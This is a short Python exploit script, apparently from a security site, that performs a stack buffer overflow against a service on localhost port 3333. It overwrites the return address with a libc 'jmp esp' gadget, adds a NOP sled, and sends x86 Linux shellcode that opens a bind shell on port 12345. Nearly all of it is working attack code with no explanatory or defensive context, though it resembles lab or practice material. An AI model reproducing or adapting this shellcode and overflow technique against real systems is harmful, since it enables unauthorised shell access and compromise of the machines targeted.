#!/usr/bin/python
#http://www.cybersphinx.com

import sys, socket

port = 3333
host = '127.0.0.1'

pre = "\x41"* 112

# Gdp-Peda: jmpcall esp libc 
# 0xb7f7734f : jmp esp
eip = "\x4f\x73\xf7\xb7"


# Bind shell on port "\x30\x39" // 12345
shellcode = (
"\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0"+
"\x66\x43\x52\x66\x68"+
"\x30\x39"+
"\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89"+
"\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02"+
"\xb0\x3f\xcd\x80\x49\x79\xf9\x92\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"+
"\x89\xe3\x50\x53\x89\xe1\x50\x89\xe2\xb0\x0b\xcd\x80")


print (len(shellcode))
noop = "\x90" * (104-len(shellcode))
buffer = pre + eip + noop + shellcode


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #for Tcp 
s.connect((host,port)) 
print ("Sending")
s.send("" + buffer + "\n") 
s.close() 
print ("Finished")
